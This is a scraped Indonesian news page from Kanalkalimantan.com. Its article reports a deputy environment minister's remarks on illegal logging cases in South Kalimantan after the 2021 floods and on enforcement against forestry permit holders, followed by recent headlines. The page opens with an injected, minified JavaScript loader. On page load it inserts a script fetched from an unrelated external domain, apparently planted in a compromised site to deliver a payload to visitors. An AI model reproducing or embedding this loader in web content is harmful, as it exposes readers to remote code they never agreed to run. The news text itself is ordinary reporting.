(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Pasca Bencana Banjir, Wamen KLHK Sorot Sejumlah Kasus Illegal Logging di Kalsel


KANALKALIMANTAN.COM, BANJARBARU – Kasus pembalakan liar di Kalsel menjadi sorotan Kementerian Lingkungan Hidup dan Kehutanan (KLHK).

Wakil Menteri KLHK Alue Dohong mengatakan akan memulai upaya penegakan hukum atas maraknya kasus illegal logging. Walaupun ia mengakui membutuhkan waktu hingga mendapatkan aktor di baliknya.

“Tentu ada proses yang panjang baik dalam pengumpulan data bukti maupun administratifnya. Lalu menentukan apakah itu itu bersifat pidana atau perdata. Banyak instrumen yang harus kita jalankan untuk mengungkap kasus illegal logging ini,” katanya, Rabu (10/3/2021).

Alue mengajukan saran kepada Pemerintah Provinsi (Pemprov) Kalsel terkait perizinan hak pengusahaan hutan (HPH) kepada korporasi. Ia mengintruksikan untuk tegas mencabut izin perusahaan yang terbukti melanggar ketentuan perhutanan.

 

Baca juga: BREAKING NEWS. Puluhan Petugas Satpol PP Banjarbaru Serbu Kantor BPKAD, Ada Apa?

“Saya menyarankan kepada bapak Gubenur, terkait perizinannya. Harus dikaji lagi ketaatannya. Kalau tidak taat, maka kita tegas jalan instrumen penegakan hukum ini,” tegas Alue.

KLHK sendiri akan mengerahkan jajarannya di Direktorat Jenderal Penegakkan Hukum guna melacak jejak Illegal Logging di Kalsel. Upaya ini disebutnya sebagai penanganan pasca bencana banjir yang melanda pada awal tahun tadi, mengakibat ratusan ribu masyarakat terdampak, hingga menelan korban jiwa.

Berdasarkan data Dinas Kehutanan Provinsi Kalimantan Selatan, per 25 Februari, setidaknya ada 3 kasus illegal logging yang berhasil diungkap. Pemerintah setidaknya mengamankan 400 kubik kayu yang akan diperdagangkan.

Baca juga: KLHK Siapkan 83,37 Miliar untuk Penanganan Pasca Banjir Kalsel

Kasus illegal logging pertama terungkap saat Pemkab HST bersama Dinas Kehutanan (Dishut) Provinsi Kalsel, menemukan tumpukan hasil aktivitas pembalakan awal Februari lalu. Tumpukan kayu berbagai jenis tersebut tercatat sebanyak 96 potong, dengan volume kurang lebih 5 kubik.

Sayangnya, dari seluruh kasus tersebut petugas belum berhasil menemukan satupun aktor yang bermain dalam bisnis tersebut. (Kanalkalimantan.com/rico)

Reporter: rico
Editor: cell


Al Ghifari

Recent Posts

Masjid Agung Al Akbar Balangan Sedia 200 Porsi Berbuka Puasa

KANALKALIMANTAN.COM, PARINGIN - Selama bulan Ramadan 1447 Hijriah, pengelola Masjid Agung Al Akbar Balangan menyediakan… Read More

41 menit ago

‎Pemkab HSU Berikan Bonus Rp13,6 Miliar untuk Atlet‎ dan Pelatih

KANALKALIMANTAN.COM, AMUNTAI - ‎‎Senyum kegembiraan terpancar dari para atlet, salah satunya atlet renang, Putri yang… Read More

1 jam ago

Pemkab Kapuas Tetapkan Tiga Lokasi Pasar Ramadan, Ini Lokasinya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menetapkan tiga lokasi pelaksanaan Pasar Ramadan 1447 Hijriah… Read More

13 jam ago

Bagian Umum Pengadaan Dua Kamera Mirrorless, Wali Kota Banjarmasin Tak Tahu

KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More

13 jam ago

Mahasiswa Banjarmasin Suarakan Keresahan Masyarakat di Balai Kota

Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More

16 jam ago

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

22 jam ago

This website uses cookies.